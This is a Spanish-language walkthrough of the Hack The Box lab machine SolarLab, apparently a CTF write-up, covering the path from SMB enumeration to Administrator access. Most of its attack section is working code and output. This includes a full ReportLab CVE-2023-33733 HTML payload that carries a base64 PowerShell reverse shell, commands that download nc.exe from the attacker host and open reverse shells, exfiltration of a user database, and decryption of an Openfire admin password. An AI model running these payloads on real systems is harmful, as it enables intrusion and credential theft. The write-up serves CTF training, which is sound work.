Descripción

SolarLab es un máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de recursos compartidos SMB y descarga de un archivo con credenciales / Enumeración de usuarios SMB
  • Reutilización de una contraseña en una aplicación web
  • Vulnerabilidad de ejecución remota de comandos de la biblioteca ReportLab
  • Exposición de datos sensibles en una base de datos y reutilización de una contraseña en un usuario que ejecuta un servicio de Openfire
  • Escalada de privilegios mediante la recuperación de una contraseña cifrada con Blowfish de un servicio Openfire

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.52.107.

$ ping -c 3 10.129.52.107
PING 10.129.52.107 (10.129.52.107) 56(84) bytes of data.
64 bytes from 10.129.52.107: icmp_seq=1 ttl=127 time=54.8 ms
64 bytes from 10.129.52.107: icmp_seq=2 ttl=127 time=77.4 ms
64 bytes from 10.129.52.107: icmp_seq=3 ttl=127 time=53.7 ms

--- 10.129.52.107 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 53.691/61.948/77.396/10.931 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.52.107 -sS -p- -oN nmap_scan 
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.52.107
Host is up (0.053s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
6791/tcp open  hnm

Nmap done: 1 IP address (1 host up) scanned in 213.21 seconds

Conseguimos cinco puertos abiertos, 80, 135, 139, 445 y 6791.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.52.107 -sV -sC -p80,135,139,445,6791 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.52.107
Host is up (0.060s latency).

PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
|_http-server-header: nginx/1.24.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.31 seconds

Conseguimos algunos servicios: dos Hypertext Transfer Protocol (HTTP) ejecutándose en un servidor nginx 1.24.0, y servicios relacionados con Windows NetBIOS. Conseguimos el dominio para el puerto 80, solarlab.htb y para el puerto 6791, report.solarlab.htb. Así que los añadimos a nuestro archivo /etc/hosts.

$ echo "10.129.52.107 solarlab.htb" | sudo tee -a /etc/hosts
$ echo "10.129.52.107 report.solarlab.htb" | sudo tee -a /etc/hosts

Al comprobar el servicio en puerto 80, encontramos una página simple con la aplicación de mensajería instantánea “SolarLab”. Su estado es “Coming Soon”. No hay más funcionalidad en el sitio web. Tenemos tres usuarios en la sección sobre nosotros: “Alexander Knight”, “Claudia Springer”, y “Blake Byte”. En el puerto 6791 (subdominio report) encontramos una página de inicio de sesión que nos notifica si el nombre de usuario existe. Moviéndonos al servicio SMB, podemos enumerar los recursos compartidos utilizando una combinación aleatoria de nombre de usuario y contraseña.

$ crackmapexec smb solarlab.htb -u 'user' -p 'pass' --shares  
SMB         solarlab.htb    445    SOLARLAB         [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         solarlab.htb    445    SOLARLAB         [+] solarlab\user:pass 
SMB         solarlab.htb    445    SOLARLAB         [+] Enumerated shares
SMB         solarlab.htb    445    SOLARLAB         Share           Permissions     Remark
SMB         solarlab.htb    445    SOLARLAB         -----           -----------     ------
SMB         solarlab.htb    445    SOLARLAB         ADMIN$                          Remote Admin
SMB         solarlab.htb    445    SOLARLAB         C$                              Default share
SMB         solarlab.htb    445    SOLARLAB         Documents       READ            
SMB         solarlab.htb    445    SOLARLAB         IPC$            READ            Remote IPC

Encontramos un recurso compartido llamado Documents, vamos a conectarnos a él y enumerar los archivos.

$ smbclient -U user --password pass '//solarlab.htb/Documents'                     
Password for [WORKGROUP\user]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Fri Apr 26 16:47:14 2024
  ..                                 DR        0  Fri Apr 26 16:47:14 2024
  concepts                            D        0  Fri Apr 26 16:41:57 2024
  desktop.ini                       AHS      278  Fri Nov 17 11:54:43 2023
  details-file.xlsx                   A    12793  Fri Nov 17 13:27:21 2023
  My Music                        DHSrn        0  Thu Nov 16 20:36:51 2023
  My Pictures                     DHSrn        0  Thu Nov 16 20:36:51 2023
  My Videos                       DHSrn        0  Thu Nov 16 20:36:51 2023
  old_leave_request_form.docx         A    37194  Fri Nov 17 11:35:57 2023

                7779839 blocks of size 4096. 1886224 blocks available

Y también tenemos acceso a una carpeta llamada concepts.

smb: \> cd concepts
smb: \concepts\> ls
  .                                   D        0  Fri Apr 26 16:41:57 2024
  ..                                  D        0  Fri Apr 26 16:41:57 2024
  Training-Request-Form.docx          A   161337  Fri Nov 17 11:46:57 2023
  Travel-Request-Sample.docx          A    30953  Fri Nov 17 11:36:54 2023

                7779839 blocks of size 4096. 1886223 blocks available

Encontramos credenciales en el archivodetails-file.xlsx. Los usuarios AlexanderK y ClaudiaS existen en el subdominio reports pero la contraseña no está contenida en la hoja de cálculo. A continuación, podemos utilizar la técnica RID cycling para enumerar los usuarios de la máquina Windows.

$ crackmapexec smb solarlab.htb -u 'user' -p 'pass' --rid-brute      
SMB         solarlab.htb    445    SOLARLAB         [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         solarlab.htb    445    SOLARLAB         [+] solarlab\user:pass 
SMB         solarlab.htb    445    SOLARLAB         [+] Brute forcing RIDs
SMB         solarlab.htb    445    SOLARLAB         500: SOLARLAB\Administrator (SidTypeUser)
SMB         solarlab.htb    445    SOLARLAB         501: SOLARLAB\Guest (SidTypeUser)
SMB         solarlab.htb    445    SOLARLAB         503: SOLARLAB\DefaultAccount (SidTypeUser)
SMB         solarlab.htb    445    SOLARLAB         504: SOLARLAB\WDAGUtilityAccount (SidTypeUser)
SMB         solarlab.htb    445    SOLARLAB         513: SOLARLAB\None (SidTypeGroup)
SMB         solarlab.htb    445    SOLARLAB         1000: SOLARLAB\blake (SidTypeUser)
SMB         solarlab.htb    445    SOLARLAB         1001: SOLARLAB\openfire (SidTypeUser)

Encontramos un nombre de cuenta blake. Vamos a comprobar las contraseñas contenidas en la hoja de cálculo para una coincidencia.

$ crackmapexec smb solarlab.htb -u 'blake' -p passwords.txt
SMB         solarlab.htb    445    SOLARLAB         [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         solarlab.htb    445    SOLARLAB         [-] solarlab\blake:al;ksdhfewoiuh STATUS_LOGON_FAILURE 
SMB         solarlab.htb    445    SOLARLAB         [-] solarlab\blake:dkjafblkjadsfgl STATUS_LOGON_FAILURE 
SMB         solarlab.htb    445    SOLARLAB         [-] solarlab\blake:d398sadsknr390 STATUS_LOGON_FAILURE 
SMB         solarlab.htb    445    SOLARLAB         [+] solarlab\blake:ThisCanB3typedeasily1@ 

Encontramos una coincidencia, la contraseña ThisCanB3typedeasily1@ para el usuario blake. Mirando los formatos de nombres de usuario en el subdominio reportspodemos adivinar que el nombre de usuario de blake (Blake Byte) podría ser BlakeB. Con la contraseña obtenida podemos iniciar sesión en el panel de subdominio de reports. Tenemos acceso a un formulario en el que podemos introducir un intervalo de tiempo, un número de teléfono de contacto, un texto de justificación y una imagen de firma. Luego se generará un archivo PDF con los datos proporcionados. Con la herramienta Exiftool podemos ver que el archivo PDF se genera utilizando ReportLab PDF Library. También observamos que el código HTML se envía como el texto de justificación. Hasta la versión de ReportLab v3.6.12 se permite a los atacantes ejecutar código arbitrario mediante el suministro de un archivo PDF elaborado, CVE-2023-33733.

Explotación

Tenemos una prueba de concepto de la explotación, creada por c53elyas. Sólo necesitamos crear un código HTML elaborado con el comando que queremos ejecutar en el sistema remoto, en este caso una terminal inversa Powershell.

Código HTML a inyectar en la petición:
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAwACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>

Necesitamos interceptar la solicitud POST al punto final /leaveRequest para inyectar el código HTML. Entonces podemos inyectar el código HTML en el formulario multipart time_interval reemplazando el valor 2024-06-02 to 2024-06-18. Comprobamos que leave_request (con el número de teléfono) es también inyectable. Antes de enviar la solicitud necesitamos abrir un puerto de escucha en nuestra máquina para recibir la terminal inversa.

$ nc -nvlp 1234

Recibimos una terminal inversa como el usuario blake.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.129.52.107] 56235
whoami
solarlab\blake

Post-Explotación

Como hemos visto antes, también tenemos openfire como una cuenta en la que podríamos iniciar sesión.

PS C:\Users\blake\Documents\app> net user

User accounts for \\SOLARLAB

-------------------------------------------------------------------------------
Administrator            blake                    DefaultAccount           
Guest                    openfire                 WDAGUtilityAccount       
The command completed successfully.

No tenemos acceso al directorio C:\Program Files\Openfire para buscar buscar su base de datos. Tenemos una base de datos de usuarios de la aplicación en el archivo C:\Users\blake\Documents\app\reports\instance. Necesitamos extraerla de la máquina para leerla.

PS C:\Users\blake\Documents\app> cd reports\instance
PS C:\Users\blake\Documents\app\reports\instance> [Convert]::ToBase64String((Get-Content -Path "C:\Users\blake\Documents\app\reports\instance\users.db" -Encoding Byte)) | Out-File -FilePath "C:\Users\blake\Documents\app\reports\instance\users.db.base64" -Encoding ASCII

Y luego en nuestro sistema.

$ echo "U1FMa..." | base64 -d > users.db
$ sqlite users.db
$ sqlite3 users.db
SQLite version 3.44.2 2023-11-24 11:41:44
Enter ".help" for usage hints.
sqlite> .tables
user
sqlite> select * from user;
1|BlakeB|BlakeB
2|ClaudiaS|ClaudiaS
3|AlexanderK|ClaudiaS
4|blakeb|ThisCanB3typedeasily1@
5|claudias|007poiuytrewq
6|alexanderk|HotP!fireguard

Conseguimos la contraseña para ClaudiaS, 007poiuytrewq, y la contraseña para AlexanderK, HotP!fireguard. Ahora podemos comprobar con la herramienta RunasCs que la contraseña de openfirees reutilizada y es HotP!fireguard.

PS C:\Users\blake\Documents\app\reports\instance> .\RunasCs.exe openfire "007poiuytrewq" "powershell whoami"
[-] RunasCsException: LogonUser failed with error code: The user name or password is incorrect
PS C:\Users\blake\Documents\app\reports\instance> .\RunasCs.exe openfire "HotP!fireguard" "powershell whoami"
solarlab\openfire

Podemos crear otra terminal inversa para él. Abrimos el puerto de escucha.

$ nc -nvlp 1235

Y luego ejecutamos el comando como el usuario openfire usuario usando una copia local del binario nc.exe.

PS C:\Users\blake\Documents\app\reports\instance> .\RunasCs.exe openfire "HotP!fireguard" "powershell IWR http://10.10.14.30/nc.exe -OutFile C:\Users\openfire\nc.exe"
PS C:\Users\blake\Documents\app\reports\instance> .\RunasCs.exe openfire "HotP!fireguard" "powershell dir C:\Users\openfire\nc.exe"
PS C:\Users\blake\Documents\app\reports\instance> .\RunasCs.exe openfire "HotP!fireguard" "C:\Users\openfire\nc.exe 10.10.14.30 1235 -e powershell.exe" -t 0

Ahora en la otra terminal estamos conectados como usuario openfire.

$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.30] from (UNKNOWN) [10.129.52.107] 58784
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32> whoami
solarlab\openfire

Mirando la documentación encontramos que la base de datos se guarda en el archivo C:\Program Files\Openfire\embedded-db\openfire.script. Podemos buscar la contraseña cifrada del usuario admin.

PS C:\Windows\system32> cd "C:\program files\openfire\embedded-db"
PS C:\program files\openfire\embedded-db> type openfire.script | findstr "admin"
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')

La contraseña cifrada es becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442. La cadena está cifrada con el algoritmo Blowfish así que también necesitamos encontrar la contraseña que cifró la contraseña del usuario.

PS C:\program files\openfire\embedded-db> type openfire.script | findstr "passwordKey"
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)

La contraseña utilizada para cifrar las cadenas es hGXiFzsKaAeYLjn. En el foro de Hashcat encontramos código Java para descifrar la contraseña. Tenemos la contraseña.

$ javac OpenFireDecryptPass.java
$ java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)

Revisamos que la contraseña se reutiliza para el usuario de Windows Administrator, ThisPasswordShouldDo!@. Entonces podemos establecer la tercera terminal inversa como el usuario administrador. Primero abriendo el puerto de escucha.

$ nc -nvlp 1236

Y luego ejecutando el comando desde la sesión de blake.

PS C:\program files\openfire\embedded-db> .\RunasCs.exe Administrator "ThisPasswordShouldDo!@" "C:\Users\openfire\nc.exe 10.10.14.30 1236 -e powershell.exe" -t 0

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

PS C:\Windows\system32> type "C:\Users\blake\Desktop\user.txt"
<REDACTED>
PS C:\Windows\system32> type "C:\Users\Administrator\Desktop\root.txt"
<REDACTED>